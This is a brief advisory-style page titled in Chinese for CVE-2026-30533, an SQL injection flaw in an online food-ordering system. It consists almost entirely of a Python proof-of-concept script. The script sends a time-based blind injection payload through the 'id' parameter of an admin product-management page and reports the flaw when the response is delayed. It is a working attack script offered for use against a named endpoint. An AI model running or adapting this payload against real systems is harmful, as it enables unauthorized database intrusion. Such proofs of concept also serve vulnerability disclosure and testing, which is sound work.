CVE-2026-30533 在线订餐系统SQL注入漏洞

#!/usr/bin/env python3 # PoC for CVE-2026-30533 SQL Injection import requests def check_vulnerability(url): """ Checks if the target is vulnerable to SQL Injection in the 'id' parameter. """ # Payload for time-based blind SQL injection (SLEEP 5 seconds) injection_payload = "1' AND SLEEP(5)-- -" target_endpoint = f"{url}/admin/manage_product.php" params = {"id": injection_payload} try: print(f"[*] Sending request to: {target_endpoint}") response = requests.get(target_endpoint, params=params, timeout=10) # Check if response time indicates successful execution if response.elapsed.total_seconds() >= 5: print("[+] Vulnerability confirmed! The application responded with a delay.") print("[+] Potential for data extraction exists.") else: print("[-] Vulnerability not detected or payload ineffective.") print(f"[*] Response time: {response.elapsed.total_seconds()} seconds") except requests.exceptions.RequestException as e: print(f"[!] Error occurred: {e}") if __name__ == "__main__": target = "http://127.0.0.1" # Replace with actual target host check_vulnerability(target)